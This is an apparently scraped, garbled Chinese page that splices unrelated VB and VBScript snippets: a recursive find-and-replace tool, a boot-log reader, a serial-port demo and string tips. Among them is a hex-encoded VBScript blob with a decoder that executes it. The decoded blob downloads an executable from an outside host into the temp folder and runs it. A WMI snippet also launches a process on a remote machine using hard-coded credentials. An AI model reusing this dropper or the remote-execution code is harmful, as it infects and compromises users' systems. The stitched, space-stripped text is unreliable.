php工具下载 脚本之家,php脚本编辑工具题目
Options应用程序中的事件
选项应用程序对事件的响应如下:
前三个选项按钮的Click事件为窗体级的string变量strComputer分配一个相应的描述'============================================
'codebylcx修改网上原有的一个小程序,不知作者,那个程序没有对目录实现递归查找
'将本程序放在你要查找的目录下,或把查找的目录拖到此脚本上,估计还有bug
'=======================================================================================
OnErrorResumenext
DoUntilFalse
Findstr=InputBox("请输入你要查找的字符(串):","请输入")
IfFindstr<>""Then
Exitdo
EndIf
Loop
repwith=InputBox("请输入你要替换的字符(串):,如果留空则只为查找","请输入")
IfWscript.Arguments.Count<>0Then
Fori=0ToWScript.Arguments.Count-1
folderpath=WScript.Arguments(i)
find(folderpath)
Next
Else
'处理当前目录
SetobjShell=CreateObject("WScript.Shell")
folderpath=objShell.CurrentDirectory
find(folderpath)
EndIf
'替换主程序
Subfind(path)
setfso=CreateObject("Scripting.FileSystemObject")
setcurrent=fso.GetFolder(path)
ForEachfileIncurrent.Files
setfsofile=fso.OpenTextFile(file,1,true)
OnErrorResumenext
tempstr=fsofile.Readall
IfInstrRev(tempstr,Findstr,-1,0)<>0Andrepwith=""Then
withFso.opentextfile(left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))&"\re.txt",8,true)
.writelinefile
.close
endwith
EndIf
Ifrepwith<>""Then
tempstr=replace(tempstr,Findstr,repwith)
setfsofile1=fso.OpenTextFile(file,2,true)
fsofile1.WriteLinetempstr
fsofile.close
Endif
Next
foreachfolderincurrent.subfolders
Callfind(folder.path)
next
setfso=nothing
EndSub
msgbox"OK,查找的文件名保存在re.txt"
If (Lcase(Right(Wscript.FullName,11))="wscript.exe") Then
CreateObject("WScript.Shell").Run("%Comspec% /C " &Chr(34)&"mode con cols=100&Cscript.exe //NoLogo "&Chr(34)& Wscript.ScriptFullName &Chr(34)&"&&(Echo 此窗口40秒后自动关闭...&Ping -n 40 127.0.1>nul&Exit)"&Chr(34)),3:Wscript.Quit
Wscript.Quit
End If
Set WMI=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set colLoggedEvents=WMI.ExecQuery("Select * from Win32_NTLogEvent Where Logfile='System' And EventCode='6005' Or EventCode='6006' Or EventCode='6008'")
For Each objEvent In colLoggedEvents
Flag=Flag + 1
If Flag=1 Then
Wscript.Echo "本次开机时间: " & UTCtoNow(objEvent.TimeWritten)
ElseIf (Flag Mod 2)=0 Then
G=UTCtoNow(objEvent.TimeWritten)
Else
K=UTCtoNow(objEvent.TimeWritten)
Wscript.Echo "前次开机:"&K&" "&vbTab&"对应关机:"&G&" "&vbTab& "运行时长:" &StoHMS(DateDiff("s", K, G))
End If
Next
Function UTCtoNow(nD)
If Not IsNull(nD) Then
Set SWDT=CreateObject("WbemScripting.SWbemDateTime")
SWDT.Value=nD
UTCtoNow=SWDT.GetVarDate(True)
End If
End Function
Function StoHMS(Sec)
H=Int(Sec/3600) :H1=Sec Mod 3600:M=Int(H1/60) :S=H1 Mod 60
StoHMS=H & "小时" & M & "分钟" & S &"秒"
End Function
假如您对MSComm的基本属性还不了解,建议请先至MSComm基本介绍一文中详读
表单画面
'表单部分
'-------------------------------------------------------------
Form.Name="Form1"
Caption="Form1"
CommandButton.Name=Command2
Caption="停止测试"
CommandButton.Name=Command1
Caption="开始测试"
TextBox.Name=Text1
MSComm.Name=MSComm1
DTREnable=-1'True
Label.Name=Label1
AutoSize=-1'True
Caption="欲送出的资料-按下[Enter]送出"
Label.Name=Label3
BorderStyle=1'单线固定
Label.Name=Label2
AutoSize=-1'True
Caption="折返显示"
'程式部分
'-------------------------------------------------------------
OptionExplicit
'设一个此表单的区域变数,来作终止读取通讯埠的指标
DimbStopAsBoolean
'设一个区域变数,来作读取通讯埠的暂存区
DimInStringAsString
PrivateSubCommand1_Click()
bStop=False
Text1.SetFocus
WithMSComm1
'设定通讯埠号,可依照您的需求更改
.CommPort=2
'设定传输速率等,可依照您的需求更改
.Settings="14400,N,8,1"
'将通讯埠打开
.PortOpen=True
EndWith
'假如使用者未按下「停止测试」钮(bStop=False),则继续读取
DoWhileNotbStop
IfMSComm1.InBufferCountThen
'通讯埠中假如有资料的话,则读取进来
InString=InString&MSComm1.Input
'如果资料中有Chr(13)和Chr(10)的话,则显示出来
IfInStr(InString,vbCrLf)Then
Label3.Caption=Label3.Caption&InString
InString=""
'暂时把系统资源让出来给其它的程式使用
DoEvents
EndIf
EndIf
DoEvents
Loop
EndSub
PrivateSubCommand2_Click()
'按下「停止测试」钮时,把bStop设为「真」(True)
'如此程式才会停止等待(或读取)通讯埠所收到的资料
bStop=True
EndSub
PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)
bStop=True
'把通讯埠关闭,才不会影响其它程式的使用通讯埠
MSComm1.PortOpen=False
End
EndSub
PrivateSubText1_KeyPress(KeyAsciiAsInteger)
'当按下[Enter]时,把Text1文字框中的资料送至通讯埠
IfKeyAscii=13Then
MSComm1.Output=Text1.Text&vbCrLf
Text1.Text=""
KeyAscii=0
EndIf
EndSub->
setww=createobject("wbemscripting.swbemlocator")
setcc=ww.connectserver("172.20.241.218","root/cimv2","user","password")
Setpp=cc.get("Win32_Process")
pp.create("cmd/ctemp.exe")
基本思路是:建立一个空格字符串,其长度为要重复复制的数目,然后替换每一个空格为要复制的字符串:
FunctionReplicateString(SourceAsString,TimesAsLong)AsString
ReplicateString=Replace$(Space$(Times),"",Source)
EndFunction
但是请注意:根据字符串的长度以及重复的数目,这个方法也许比传统的循环方法要慢些
此参数为定时器到时后我们要运行的子例程的名称例如,在调用Let属性时,用户可能有如下操作:-> ObjectName.CustomerID="HALFI"->
该Let属性操作后,"CustomerID"等于新的字符串"HALFI"
S="2020206F6E206572726F7220726573756D65206E6578740D0A737
3733D226D64622E657865220D0A61613D226F62220D0A6161613D22
6A65220D0A616161613D226374220D0A61616161613D22636C61220
D0A6161616161613D2273736964220D0A616161616161613D22636C
73220D0A61616161616161613D2269643A42443936220D0A6161616
161616161613D22433535362D3635220D0A61616161616161616161
3D2241332D313144220D0A61616161616161616161613D22302D393
8220D0A6161616161616161616161613D2233412D30304330344622
0D0A616161616161616161616161613D22433239453336220D0A6D6
D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674
2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220
D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A
626262623D22622E5374220D0A62626262623D227265616D220D0A6
7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22
536372220D0A6363633D22697074220D0A636363633D22696E672E4
6220D0A6363313D22696C6553220D0A636363313D22797374220D0A
63636363313D22656D4F220D0A6363323D22626A220D0A636363323
D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170
220D0A686868683D22706C69220D0A68686868683D2263617469220
D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227
065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203
D20646F63756D656E742E637265617465456C656D656E7428616126
6161612661616161290D0A78787878787878782E7365744174747269
62757465206161616161266161616161612C20616161616161612661
61616161616161266161616161616161612661616161616161616161
26616161616161616161616126616161616161616161616161266161
61616161616161616161610D0A53657420787878787878203D207878
7878787878782E4372656174654F626A656374286D6D266E6E266D6
D6E6E266E6E6D6D266D6E6D6E2C2222290D0A736574207878787820
3D2078787878787878782E6372656174656F626A6563742862622662
626226626262622662626262622C2222290D0A787878782E74797065
203D20310D0A7878787878782E4F70656E2067672665652674742C20
22687474703A2F2F71712E656532382E636E2F646F776E2F646F776E2
E657865222C2046616C73650D0A7878787878782E53656E640D0A78
7878787878783D7373730D0A20202020736574207878787878203D2
078787878787878782E6372656174656F626A6563742863632663636
32663636363266363312663636331266363636331266363322663636
3322C2222290D0A2020202073657420746D70203D2078787878782E
4765745370656369616C466F6C646572283229200D0A202020207878
78787878783D2078787878782E4275696C645061746828746D702C7
8787878787878290D0A20202020787878782E6F70656E0D0A2020202
0787878782E7772697465207878787878782E726573706F6E7365426
F64790D0A20202020787878782E73617665746F66696C65207878787
87878782C320D0A20202020787878782E636C6F73650D0A20202020
73657420717171203D2078787878787878782E6372656174656F626A
65637428686826686868266868686826686868686826686868686868
2C2222290D0A202020207171712E5368656C6C45786563757465207
87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D
="EXECUTE""""":C="&CHR(&H":N=")":DOWHILELEN(S)>1:IFISNUMER
IC(LEFT(S,1))THEND=D&C&LEFT(S,2)&N:S=MID(S,3)ELSED=D&C&LEF
T(S,4)&N:S=MID(S,5)
LOOP:EXECUTED
解密后:
xscript编
毫无疑问,我所遇到的最常见的问题如下:
Dimrs1,rs2AsRecordset
此处到底是什么类型的变量呢?在其他编程语言里,等价的语句将导致两个数据记录型变量,而在VBA中,你得到的是一个数据记录(rs2)和另一个变量(rs1)
Set ws=WScript.CreateObject("wscript.shell")
w=ws.CurrentDirectory
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder(w)
Set f=fs.SubFolders
For Each uu In f
t=t & uu.Path & vbcrlf
Next
MsgBox t
。
php工具下载 脚本之家,php脚本编辑工具题目相关推荐
- 计算机基础pdf脚本之家,使用脚本管理Windows网络(更新版).pdf
使用脚本管理 Windows 网络(更新版) 使用脚本管理 Windows 网络 从 WindowsN 学习如何自动化日常管理任务并根据这个来自于的技巧 管理你的网络. 一个流行的关于教授人知识的谚语 ...
- 天龙固件U盘更新_硅格T18D量产工具下载_硅格T18D量产工具官方版下载[u盘格式化]...
硅格T18D量产工具官方版是比较实用的u盘修复工具,硅格T18D量产工具官方版可以让使用者很轻松便捷的对硅格T18D进行量产操作,并支持修复和格式化的功能,提高U盘的性能,释放空间.硅格T ...
- mysql读取工具下载_百度云文件数据库读取工具
百度云文件数据库读取工具是网络共享频道下深受用户喜爱的软件,太平洋下载中心提供百度云文件数据库读取工具官方下载. 百度云文件数据库读取工具免费版是一款相当实用的百度云文件数据库管理工具,百度云文件数据 ...
- 安装js包管理工具(node.js、yarm)及代码编辑工具(vs code)
学习vue等前端开发需要安装node.js.它是js包的管理工具,个人理解相当于java的maven. 在开发之前需要安装node.js和yarm.关于什么npm和yarn之间的区别,请网上找资料.有 ...
- 【PC工具】简单好用的视频编辑工具GiliSoft Video Editor,视频裁剪、转换、合并、加水印、加特效...
公众号关注 "DLGG创客DIY" 设为"星标",重磅干货,第一时间送达. 最近各种小视频平台非常火,基本进入了全民自媒体时代,自媒体可以说是副业和创业首选项目 ...
- 一个自动填写仿站小工具下载网址的按键精灵脚本
该脚本依赖按键精灵+仿站小工具+网址过滤正则+文本文件才能运行,能实现自动填写扒站网址,批量下载网页的功能 For i=1 To 101//这里的脚本可以循环10次buffer = Lib.文件.读取 ...
- linux的双系统修复工具下载,Mbrfix官方下载_Mbrfix.exe双系统MBR修复工具下载 - 系统之家...
Mbrfix.exe官方版是用户修复硬盘中MBR引导的修复程序,mbrfix可以解决电脑安装了Windows和Linux双系统,如果在下直接格式化或删除Linux系统,就不能正常启动Windows系统 ...
- asar软件包linux,WinAsar下载_WinAsar工具下载(ASAR文件查看打包解包工具)-下载之家...
WinAsar官方版是一款很实用的对ASAR文件进行管理的工具,WinAsar拥有ASAR文件查看.打包.解包等功能,WinAsar工具官方版还能够对asar文件进行解密加密,软件里面包含 ...
- python 24位图转 8位_Python爬取PPT模板小工具下载-Python爬取PPT模板小工具免费版下载v1.0...
由于很多PPT抓取工具都会因为版本问题无法使用,所以论坛大神就自己写了这款Python爬取PPT模板小工具,可以帮助用户轻松获取各种PPT模板,使用的时候注意一次只能下载一种类型.软件仅供交流学习,下 ...
- android便签工具下载,爱便签(多功能效率工具)
爱便签是一款具备多种功能的工具,它集中了便签.记事本.清单等多种内容,为你的生活提供文字上面提供文字效率上面的服务,用这款软件来创造生活当中的一些小美好,功能繁多的同时也保证了在页面上面的简洁,感兴趣 ...
最新文章
- 面对万亿级测序市场,纳米孔测序技术何去何从?
- 码云创建maven工程
- FZU 2108 Mod problem
- Java经典算法50道题
- [DC]学习design compiler
- java socket程序应用_socket应用小程序
- 你知道这5年我怎么过的吗!谈谈我做测试开发的这些年……【总结】
- 用CSS实现一个易于换肤的移动导航栏
- 【优化预测】基于matlab粒子群算法优化SVM预测【含Matlab源码 1424期】
- 图算法之k-Core
- Java JSON转换为map
- 【汽车】新能源汽车的分类
- ensp:静态路由配置和ospf动态路由配置
- Word中规范输入大写的中文日期(转)
- CINTA作业一:加减乘除
- CSS颜色的6种写法
- ensp系统服务器是哪个,ensp主机和服务器配置
- return 不能跳出 forEach 循环
- 解析Token工具类
- 第1章 初识计算机病毒 1.1 计算机病毒基础知识
热门文章
- 消防Linux软件图形显示系统,消防控制室图形显示装置
- new ext.toolbar控制按钮间距_消防控制室现场验收存在问题图解
- c语言 dct变换,汇编实现的DCT变换算法
- matlab 调节透明度_更改图像、填充或曲面的透明度
- 5g理论速度_5g速度有多快(5g网络速度到底有多快)
- onlyoffice文档服务器加载慢,【onlyoffice中文指南】12-问题及排除
- 卸载手机自带的系统软件
- “只取一瓢饮”的读书
- android联想搜索不到wifi,联想笔记本ThinkPad E430 无法搜索到无线网络的解决办法...
- C语言中char字符为0时的情况,c语言中char的用法